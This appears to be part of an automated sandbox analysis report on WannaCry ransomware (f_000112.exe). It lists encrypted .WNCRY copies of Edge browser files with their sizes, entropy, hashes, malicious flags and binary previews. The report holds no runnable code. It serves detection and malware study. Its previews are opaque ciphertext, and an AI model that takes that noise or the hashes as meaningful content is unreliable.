                                                                                                                                                                              SSDEEP:24576:rEoEkt7/PFzPM0l1jK8iCeRQeb9JPt8JFbIcCu:rE0FhPMKiXRQw8bR
                                                                                                                                                                              MD5:67E301927D05A14C8E6FEB08627E3611
                                                                                                                                                                              SHA1:E4216D1C20993B95E3D4B9725FF526AC74B31049
                                                                                                                                                                              SHA-256:8CD41CF5333B1133AB103499F184CE3F6CB02935B426A5554DE8265C455A579D
                                                                                                                                                                              SHA-512:E9DEF98F40EC11050C4020324EB4747FB5C246F1D4194EE3C301E8D517A50BDD7421213EEE9397946E0410E92900799050CB2A138EAC7E262BAAA9BC00E18CB2
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........<.......g...DO.-I...C...P..ct1......^....,..a_.I.....Gx...D.S.lA.......60s4+..O..1$....x~S.=..S6.XB...a".Oj.,..}.]..t$.B..).5..oV..c..~l~6.."...9........o@...l.J.K...<..;=@.dd...v..U......IQ.Q...+S........$D.#...K..MH...c.4Sqz.P.....j.......x-...e...V...k1.9.....>..........?.LF..I.q~....B.....Y^k.{(.S..a."..$.......T.&..3.....r....n..D(.b.$n.V.D.}I....*V.....g..%.mKS.....n.&R..*.dK.....t... `..Y"..........(_..}.....1......7t .....@..@.R.9J........~`..R....5..}~..d..A9.v.....u....[.?....PZ.+...<|..(O....5..n..'...P.......E-..b....Zs.f...h67.}f.dBy...o?.R&-G.o.Oj.J]..L..\..w1.jN.%.l.....g.r.....h...+..eB'..Vj.......P./f.\.Q.8...lC..K....md...Z..G.\.......b.Y.6......y...{&......:......*.I...D.6.N.R..4lau..z...!XB2M....=S./...dG.....5]....|.R.hpr.......9.L.{....%.~..>q.....SbDvs.........+..~..J.3z.;.X..\m....b....._o....)......<)E..cy....&e.....t..T,.B7..T..5..W.......<.+.j.dI..c+......Z..VD#..PIi...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1042184
                                                                                                                                                                              Entropy (8bit):7.999821874315001
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:rj+b0LEvB+zqsrACDz4wuEApTzNv+7RlmXsG2cpI9g0yCsQ0u:rjLEp+O5CDxuBz9+DBEkUCsQ0u
                                                                                                                                                                              MD5:6FC3AD9FA89F9298D5D3D9F06E7D6C62
                                                                                                                                                                              SHA1:115346D1768825B935D76DF5B24C5A3D366F9070
                                                                                                                                                                              SHA-256:1909D9658D3FB2D1B8A487D9390AE738B5A983BBE772B43856103D8E2B0A014D
                                                                                                                                                                              SHA-512:8D14AB4B6DC6983DDCA0823A6F09AB593B9BAF9952A9139EE0CFCE92F58262D015FD72BEB21F4E0DD3394765C3CB6E0B927DC8F88DAF7C011587B30C5A434668
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......uH......<.Rd...m..w[q.>..TK.Z=.....N...at.+......"j.~q....Wy....w....l.NisS..._.*.....*........d.u.C}...)-.?.[%P....!jK.-U.n..<CH..V9......z0GE....5........x.Q....Vv.%..;........[..X.m...?:........G....6ys.`.[..5?..rQ.=....\q.%.Q.. ....5..#................'...+.XF..9.....3.....#.6...t.<^Y...f.y;......8...P.M.C."..`.*h.oU~...1.R(.....B.c+.....Aa<[.....R..6.....M!..S..d3.9T.h.4...n..]......+_p.....:2*c{'.H...2....2..%?[(.k..f.`....v.%Uc..]..v...-.4%..U>.?.a:.(.....:t.f...wa...1mrz..m5....4.....Y...*......ag......./~Yt.jIU*..u..I..."..U.~o.....q....F,.R.7.....2.+..8..x.....N.(-.Z1.$.......J...&...+..4..u.(u.p.i|..m.1o5....q$.Y..?%e.V.1.....P.Th.(E.E..........%..;.n.:UD.....E..-)fX5X{3...9W2.i....s..e%!..z26....}\...J.a!.eMB......rK.u.].J.ox..M......[..c..8...v...c.......i..=.Fs...-.^Z< ..:...(.d;.bM...t.d...v..B.Mx.$.......k.b....\......T+..P.j~.....VG....Y...L...c.Odz5{.q2>l.Z8....!v ..m$6>..........1<.Y.9......{bd.......4

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80072
                                                                                                                                                                              Entropy (8bit):7.997717385275573
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:ZLf38XXZWLSYaMQxHjm76pHUkgus/Yg3HyJXceKeRVRbm:xsXJFMp76CQGkXceKepK
                                                                                                                                                                              MD5:61191E3F891504A4CED7913B5A35993B
                                                                                                                                                                              SHA1:7AC3367E5AEDB3100EF3A1C4A160E18ABED5605C
                                                                                                                                                                              SHA-256:6C89BAEA281AA6940F0DC34C377D5861ABCD215EFAE92D103CA71674DA7F3922
                                                                                                                                                                              SHA-512:B98655272F824F347B3662576FCC8772F2636B57A7212FBD5D8E9267F0AB99DE8C7492B47ACD9137888790DEBA525FFF2C82045FF9D5117F87FEDC012013BE7C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S.s....4J...`.B 4S.T.\.....q..."6..Px.?.KQ....N.8f..........#m.....,._.......y...=..X].....v6[.;.<.(.r;....#..U...7....5........7.....xt@.:e B0.t<i.v/....b.Zy.Vg6w..AK84;o..62c.i..5.4L...}..........j.Y/....+....... Ex]o.._....B.{..y]..X..l^l......7......%....!....OkE.......L...J...|2..........u) Ml....zC\~.....3..c96)...SZ.#...3S.LX.\.[9....?.........]].O..K.....[. ...M...."G....d.X.|....M.H..,.U..&...a.DT.qz6.eSp.....0...' ).6<S....X.j.9.....U...d#A<...l....!.FK.1.5.m.pW9.....xS..(#).x#.+>:?.b.6..L.....#.v.D...N..9.Z-...).......^..p.e..z;.D6B:..&...pU.s.R..v..!..N.U.......}....+..K...Y1.......2.g...(... }.....'.1".y`s.C.+%~..!..@.2U.v.:...9..b...+...*&.B..y.J~.X._.9.f.Q.....C...4..[(.......$+F..Y...{...s}.-J..*..S.a.....0AN...w.Pv...*U....H[8.d!1..BH.8s..gisK.t......&$.e<.3..............l.C.B#.5Zq~)M.u..).*......].-..U.X....yW.d.3.J...I..)...C8..Dr....j.........v0....%..e.9.L.K..0..r.*2n.....\;.)9[.m....eH..?...w....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12216
                                                                                                                                                                              Entropy (8bit):7.9859221704805465
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:CreTqyV+7eto8w/jPHa/pmNUC56yblFc42G0d++vIek7imZL7BKBQTLK1RBiRLF:+JyU7eKv7PHax+56Cc42fdNu7iK7MCLj
                                                                                                                                                                              MD5:E6166DE12D1A9DED3C30F8AA67E8DAD0
                                                                                                                                                                              SHA1:D7E2B4B63DA4DEE607E5774ABEBB9FC504D5F0FB
                                                                                                                                                                              SHA-256:0180238C02734FC3922917FD95A02BD92BA87734B8E6897DF9B102FF9AFEA19A
                                                                                                                                                                              SHA-512:B69E395CFA09B91100BD40140154C707C719110C120BE614252CC0CA4F0AF3D6BCFBB4120F3AC3CFC951BD361CEAFF823DEE827DF1C83B7B67104EE53D3C80FF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....o.&...k...W.AiGXQ....;..M.[s4.3..+.[.E..(KJ....c(t....I.8..Y.1.'O}.x.g.H.H.....mv<..;.!..%.G.j...e.......%..l..{...i.`......v...v..I[4....).....l.....m.!1...m. ..`.O}+/&......h...W8o..#.u3.......A6.r.D.]..t..>..)"_..c......=..p6.....W.................nM..`.. o......O...H. .jL.qr.....4..K...,....o.........jd...h.#.."..(..[.a'R.j1...8.4......t.I.=.._g......!/........P......*uP...zIta....Q.LW.[.o.xEmt...z..*.I=.~8S:.t.5...[.0.`cR.c......@=..?+.FGe..4`.}z.Q!..T....n....H.E.WS......5c.V.#?M^.Kv..."V...@.....p..m....o.b..ld....Bv........>U......`th.H(..K.0.(..\ ..F.{.E..l@p...5d..Qh..O......NY.$......B2..!...K6.SB..kle......k........u.Iq..A....j.2......}..a.%v.4...... ..^L..3R.B..~"..i.*.>Y.c..:..8r..$3.%.@2...%..O`.'..YG;.....x}....bp._C.x?Z..@..P"./...4._G....)...M.]...GvU..P..h..R.%...8G.3..-.....T:......I$.....<...Cj.....B...=k.e4....'...%T...j_.....<J\.0.05eh.Lo.P.+y...\@.p....q.g."b..`m{...H.......z.[..Q.*.!..zf...V.}X....G$.<m

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.937656418969024
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkgfCGOMc5A2XtIFT9ceoo9gQcz625vQxYPP7yfH07AHNwUWg7LeOPC46VoZwRHd:ogfMMkfjvQczF5IxYPwU7U64KoCVN
                                                                                                                                                                              MD5:E7C5963AC2359D02991096F7DA1557F3
                                                                                                                                                                              SHA1:375C0273B21F255CB935EEBC441B5B839E7BD075
                                                                                                                                                                              SHA-256:B695ABFAFD2A1ACE7B2B5006BC6BA514CA7C7D770EB494B9E7F4A58B47C6E005
                                                                                                                                                                              SHA-512:8FAFD4E71B79C12846669920DB06BFE96A249193C2730DEB6ABC726C6E9899D52FC7E3EE3BC213C5CBC076543FECE1726FB5DC383111E9A7C8F52FE0FEA5F5A5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........te&....y-.....S.-.5..l..9.U..9Pdw.\0@........1|.U..5....y...q}.<y._N..{m...O.4.$. ...k@...@..U.}EP%...[$.Wl.{.+...$5hf`R/d..3...Qj-.Ba+.*...IW,..6...{.I./MN.=?..m|~.+y.`...>K..<(..r.v... ......J\...-2L..y.=.w*.v.d..(....-`bY6....7K._@Ug...M....g...........a(7N.....c..U.=....S..Z....Z.....i .....3n.r$'..VRa.]U.....De...{-V.*.[...&sLV:'.s.7.I.|...E.9)....$U....v..........au..6=.L....S.^q...%$....wT..^...j..2...x.i].$+Er.g~..%N..c..E...,..K..6...atc..'l37...BF...-.P.#.0....|4;,X.F ..`2........XFP..p....7k.|.~I.......$......G..J$u..Y.........<...+...8[.R:..%..........*.^h.sL.Y....<L......v_.R../..UI\.;..".uwy..q6..q.*>.J.M<E...D.@..!....J.A..\..}W.....C<.:.r....m^...\...^(.......LGy.hH...y.~...F..\`...7.r.f..B.<a._0...p.0.d.w-..j...0.....|.y.I)...xFIx03(..w.K...9....1..B.R.X$`(.-...8...Q..o.. r.V4t..e..j.........k'j........35.....e..~^.......-..Z,.....x.*...5.>.(...%.$x...Iy.......-.,..."...Po.......Ld1'.*...#.`.rAf.....9.H..g...?..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6136
                                                                                                                                                                              Entropy (8bit):7.97088370907646
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o9y7wckKgIIS6OlVxRJ9H/kB6bw8zlfVMBzGzTsT8Cno5PJjsmyIBX5u28N2wFM:U8Zd8uRJ18B6bwwBMgsT8C6ywX5u28M
                                                                                                                                                                              MD5:17A20BEA5657940907F66D735251C6E8
                                                                                                                                                                              SHA1:E1BBD1638818031976428EAA4486C1DEE4FEAE1B
                                                                                                                                                                              SHA-256:068D3AA06063D7A84BE98F04670D31CFBFDB3F3E6A6720D8257C2DAB2A01369B
                                                                                                                                                                              SHA-512:0B2BA8F03BC203F5FCDD2EFEAADFBBA2E76BCF1F120EA99E493A12CF164A788EDEBA8FFB7F14E9EAA6D35EC3C35DA6C1E6BAA0BA7F08594EF89423F1768FA95F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....z.;P.p...d......Q.T......$eg.9/..L."~...>.M...c~..3.$.S9 ..)...].~..PV..D.EH...~nO...z>{.lZo.d.#..E.v^.&2D..0.Pv..(...=...p.o..`..........An...<G[.}.'v}boFq...r....j..@J......f..-<...l.X............#...un4.-...O.?N....q{......?..'.*..vJH{.o.....W.\.fw.................0.|..n.Q.N.%.+*...Y.vi.{.,.}Qq..G..qRwlc........C....j.T.1....J..z._..L..KaD..N..O....L..}...a.?.......UWl_...U...L'.lF.8.......5..x.!ro...Q.u._.\..tg.9.3.{N...d.a..v.....5.......{...0.|3.K........l....[qM.GR[qf.8...:..W....v..7.z....,*..R.,F...{V..2v..~...'Y.n.(....=.e>...i........nO...'.j.d.b...3.../9.+...U..:|r.S28..O........@.u@+S....Y.(..D...6+.g%.`n.B.....=.....J...}p.K..2X../.....&.5........u.....C............6W{X.pj........}.9=.g]o.i'...yRVM9a.. .L..6..:D.tM....cG...ui.........<'.m....U..4<\.B)...v.....c..n"..}N.z>.|......L.6`f.n&.z!a.i......&p....r............ .m.xZ>. .5.F..u4.....V..(.o.9..p`i.?:F.2.y...!.d.%........!.~...E.p..d.....N{.1t.`..O.....<.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):363208
                                                                                                                                                                              Entropy (8bit):7.999505695768382
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QyrtunKu2heRLZGaIBbGCg7ti1nhvxy6CPZ+oi0brr9FaanoaBDACChCNRxKfI2f:JUnV2h+AxbuwtxyNoEaaoaBDAn8Kw6iM
                                                                                                                                                                              MD5:B9130F23BD367A185FA3E45113D9E221
                                                                                                                                                                              SHA1:2AB7630E2EAFF6E004A28A156071B058F759053D
                                                                                                                                                                              SHA-256:578B2ABEAF9955FDA55A1508BE64C6C583C5D44544F80EE1DCA18DDAFC1591BB
                                                                                                                                                                              SHA-512:D98B55C3DE7227E4FA8CE038064E4159891D5A83D38EB584A9FF8F63F1570439851BEE1700B2591CC73B0D7DF2E1BA283F706EAF3873BBF42671D825E592CE31
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[&.s....F^.u.....*..&=.0d....S1A`."..e..`z2..`!Wj.N31.#.....':MDdP.sX.u........6z....6.Xb..,..DVC.(,v...u..:...3.....9..+.^|H....,..2.[..P....>..`..bzY..`F....5d.}.!R....I.w...Q$.<..k.~=....3.}..Y.......{.s..w.GZZAt....m...}3.4.ea.'.. +^U ]...x.............D...+..a#..1N.w.._Z-q...OR.0.H.eBf.....E8.`v.......:.V.#.A...|...r46.%f-..q..v.../....{.*..V......F|.4......{...]~6...^..u...#.OI.]..,x..U.'..:)...u&f.........*...C.a.....(b.l....'..M>...G.).6...SW..._uI..34..#.L..U..|.}.%\....2K...T..5...Z..~4.e....t..;...-.Mb..k.X..\m...a|..S[...R..Y.q.J..q2@zu.-..Q.T...D........>X..k}....[~.b...iRbTV..^.};... 5.P].....E.3...~..OCj.Wy.m.n.=.HF-..(...y..._...a.'...4..wE....j.F.u.5j.Y..wW[.9#..j..0......./.O.b..#.....pz.3...2$5..[..}...JXn.....$...Umn.~t.z..l....c.o#.@.p._:.p.t...&,Q..... .lq...6..kSJ.g...z...m.....}dZ.{./V...C..T.........D'zzq.(}.`.}M...}.R....!.H1..*..h!cP>..u......`o....e.;.........@...D........E.-..B...".o.u7w._..7.>.&o

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1336
                                                                                                                                                                              Entropy (8bit):7.799762806657475
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTVKdgYaklJxeUL+lWBQ6NKLLliz5p56x8s4U12gLYam3VTXm/A1uh5WWDOkm8n:bkZR5klR+g0lg5D611pUF3xmAydBn
                                                                                                                                                                              MD5:99D8C8ADB6F723D0B151079C53053F01
                                                                                                                                                                              SHA1:03AD41A826E3103DEB0C72363F60A891F81E1DA0
                                                                                                                                                                              SHA-256:8726964371325D82792D382EBB95AFC0AB15A7645046B958125542CBBA1AE82C
                                                                                                                                                                              SHA-512:5632E2C606C5B638C13E1FF099D3F0F641C3A4721F3D2A571932463654F5920B02118F1A92EE722E2FF4F8B431669613DC9FEA5B9B6B4B6C7A82CD0971F6092E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....=s.....Q.O;.F-...j.7^...u.x.J..M5...l.Y>..;......[c..s......s3...Y(.:.Z.DuC....k...OE.. ..A]k.&n.r.W...`V......9..D...s<.s.'.e..~.8ECv...q........\.{>=u2.].i...X....!~...3...*o....z\......wg.....Y..!`..4....-.W_jK...A.y..\...AR.%.@..6.El...f..............t.+.....I...=..7.....i..fO..%,.@...0.O...o.=c..i^+O4.m<.....Kk2N.I..<.Dn..H...-.&.....ZP...|n.7.Cl.q{0......:.v..n.G.&t...>.R.J..*.K..?...{.....5R.I..F.../(c.[!U..c...0..i.im)>.....P;....5L.n\%..YI.i.....ILJb..?...b......bU#...z`Yr.k.!.......G......O.6.3......hW8e.$q?...7.[J...K'....c..8..u...|.ne.p.8.!.I.F.m=..z.C:....m......N......_.O..7k....)..]............}....r.)~8.o.W.7hW.../H'.8.,=...=,..A....`.E.....g......]...l.>.=....$?!.$...q.....=.c.E..@i.TW.@)..$wY.p...Ga.~:.SJe.9.1Y.!k.....{]._...c..B....%J.,.8X....90....BK.m...z....8.j..D.s1....eE(.f.. .q...I..W..M._.....Y...........M.......]~X%X....JSz{....$R.'......!.Y*w...2x..T...?LG....Tu..~.>..I../.d......%'..[#:O

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\app-setup.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):328
                                                                                                                                                                              Entropy (8bit):7.2235315889821585
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE04hHffQ5wTmOrkKRJW8ufquPMBuq8xiBHdeOavklD64Aj+8aTZwW5SVi+x/q:bkEbRRTLky7uf+uHiB9Y1vDaN4V30
                                                                                                                                                                              MD5:3A1B3791D406B446CF395BEBFC38FE32
                                                                                                                                                                              SHA1:E59671620F38F566DD5E805E4A4894B4FA19447F
                                                                                                                                                                              SHA-256:2DF5B7922F57C6761B70488E72D0BCD92D9433B262CF7FC15863880819CBAC37
                                                                                                                                                                              SHA-512:290C2B0E7EAF1C4B6ABD62D128E4D1429B02023F2469A8C99F0BEFFB58A4A5BF6DAECEAA974D7FFAB8128673C450E35EA3D8656533C4C81215A647AFFFF7C4E3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......{90..I.S-.....I.Q.,=.A...h&A.........C.....VnT......;..=.....%..KJ`.4.J2Pf.].x..l.C...j.C.z.12.P(Z...6....YFN...WS...].|....vC[.....K...E.I..E.....-m..7.e..c..b....sc..d...F.<.^...2.....0+...a..[.&@.".{....?.....W.D..o#h....*...5..Y.....[....%.......cpd..B..)g%.vS........zPk*0S!..T..<.PzW.y2.2..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2040
                                                                                                                                                                              Entropy (8bit):7.893808948222191
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkJPc/XcWPRmdbLqyYjmgXTeKDUfzRNhQ00WwX2Ge/0aYGpZI:oC/XcWPREC8gjf4zRNAWD/05GPI
                                                                                                                                                                              MD5:160DD5D618FE27C91934D4E6383512CF
                                                                                                                                                                              SHA1:08A3A19AFA0142C0E1542CB1029052A660E3A9A0
                                                                                                                                                                              SHA-256:0E144460DD5984832111E230C5169FF5429FCFF42C9B23076F884A429F44D4B7
                                                                                                                                                                              SHA-512:A90C7ECAEA1A5F41D8E0998712B001F686BC8B62AF2C389CA46A5F2A069BF3FC339C68086833AEBF3F74D7D1EE8A468702D77C2A918258B912BC1FDF1DB929D2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.....#.<2..*.,.....x.|].>..... F..{....%...<...6+.p.....9[.!....\..Hh.^.i....`...#.....#..|_@..&.,..cM....;.n....e.[..0YX..c.....Xh.w..F.=.%i..:U....b..x[...(.e*.....Yw.sC.;.q.6.RG|.....%....*...%.e(.+.-......,.O..kG..Q.x.......yf......8.}...................N.o+....w..or/.2$!'...J.B.]l.dC.....j..}.a..b.L.-...)k.A.a{.V.L)...<Q.JW..!..)}.F._..<...._.xh...#..}....Mh....S.a..>e....U.0.b...@..o.#@...#\...k.f..).'.b.".2..B."...I...J..+.R..~Uzp.B.\T.H.........:#...........D-].?...a=........8....>.J^....B..3.^X...NC.....T_...t/.O\...@.m..X....$3..=C.,....#CE~.l..Z>..X*#..S....S._.|.."^....l..Z....>O........q..K....D....~S!y|8...._......^.N......+!=......[...Z..k.....[...p......a~`.gW.q.......a...Vs..-...c...]h:m...9.q.....+.F...u.m.$K..{.kcY...a.X...mm[.....z....em.N..w..Y..(..c....:.a[g.....Z^...ZV.?.....~-.iO....a3.c..Rq..!...U........1...K....U.N.g._hN4..1R.=%..........4......*...-...... ...r...l.v.O.lS%}[/Ik*..4k..>.F..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):843176
                                                                                                                                                                              Entropy (8bit):7.9997703634293345
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:Bosf9auWkFFJ9OMuP58tauyV4BBGq0YapYXC:WFaFv9OMuxgyCDD0h
                                                                                                                                                                              MD5:B69057A9AD54D17AB182D3AC973A135B
                                                                                                                                                                              SHA1:8CDA3992D649DFE92643FE119D5E4731C1CA5379
                                                                                                                                                                              SHA-256:463F15200C041B46A90A35F571AB5F4C3E7247FD5E81DE68EE8B8C3B3908C060
                                                                                                                                                                              SHA-512:3ED70F22D45354BD22691BE72D3E4E8F986F280F5887E19888AC3700B76BFA001061781BEA87C8A0FE338E6A676D5AE367A17A5E598DCA7DCE5D2503B8CDB971
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....G..;..H.......ql...l..b....O...-D..'..}=..c..W..{.....>...;C.l.M..4"c~..'W...C..(....v..W...db......^...C.....Ku"...US.!..-4......n.MF..y.A.t..L...\...k.w..I".-....X..2.jX|n.....ky1.....2.?...|:. ..JQ"c.3Ao.z\.2.@ng]Z<..`:.(..Cj$2.h..q.o.Kx..R..............wGp..(n:B..)=P.[.%3(z....y^WC.|/..X...UVk..H.|..];mH^..f....c...LG..r...F....8..4y..+..L3../s..Wr...2^_.....w..a..a.(......w...r.9..U/?.3ZN......>Ht..6.........>.c...Z.C........l...=".A.c..|S....K..`.ex*...W...X%.Gwk..[.~.#&M..o..k...$B...B7..}NJr....#..d..;.2.H$..*P....&Fg..;AC{.:......cf...J.$FL.?/J.fL...~.z...2...G...B....G..8J'..e....8.VM&...3H..Ko,.....uf..-.P.........b.X*....B......W....k@.<I2.Y.4.T..V.[.. ......%7)........3H}.{.1..c2...[.#n..._.....]>..:.).....g...Lc......#.A....$.m.AH...K...HL..r./[.#..*..L,.z...c:..(.%}....'qd.~.."..W....3...........>.*..h..W.M...E.z..4.C..B.Yf.l.......wzd7L.O@..{:.L.U..L..K.....+bc.D...G.E.:.....+.....'8.U.....P..&.=s5.@....I..f

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\crypto.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):408
                                                                                                                                                                              Entropy (8bit):7.415724943993021
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEnj/oQGC0Sm84AaGfU5lmqMOnzdIVYESphXTf:bkajGC0Z84A8JRnziV4phXT
                                                                                                                                                                              MD5:FDB85131F14B32CA6A38D4531620F88A
                                                                                                                                                                              SHA1:0D553DA553CD55DCD5AF21E6C6015BF49940F264
                                                                                                                                                                              SHA-256:E20705C8BAD24991270CAE7FCAA127E5BAD2742B44DF66F85385B7ADC917DDA7
                                                                                                                                                                              SHA-512:C0011CDF2A1712957133367227A980A3602EDF2195F62A72BA124803D74AD19C41551243D2BA005DFE8CE01668CAD652393560E12061453F76C382ED16E3D66B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......c..y..J.a....".0...r.....a/.$........:6_..._.2...2 .dm.....`!h.....#..F:z..L......n....B.......}.f...M.4t..MAax.G..V.H.#....%..< .z;.....z.:....F..W...2\..K..Q9....Npi..3}$....3t9pJ...O.&w..l..n.o.h..L../.H....e#6.a(.I.,......|.G\..-9.a.I@..oq.'....y.......g....0..|.;...s.(.L;?.i.0.I..D.......&q..S.$MYt.a&.n.%.,~.....s(Q...l......L}..aN.`O[......i..(..9n..nT.P..3..L.7......eBv

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):14632
                                                                                                                                                                              Entropy (8bit):7.988264026772371
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:9qk2Xnq44N4/DNrbeo/JS/SCAC2UUywmIUa9OVL:9n23/4ObFn6LUzm1aE5
                                                                                                                                                                              MD5:D33978CB7A4ECA8C951895385ABF974D
                                                                                                                                                                              SHA1:8F09E637DFC995D2BA8F0F3FA28FB31F351741D9
                                                                                                                                                                              SHA-256:849EF82418ABD225610F259E8DF9D760BE53258C85616C80D836F8E95D065A89
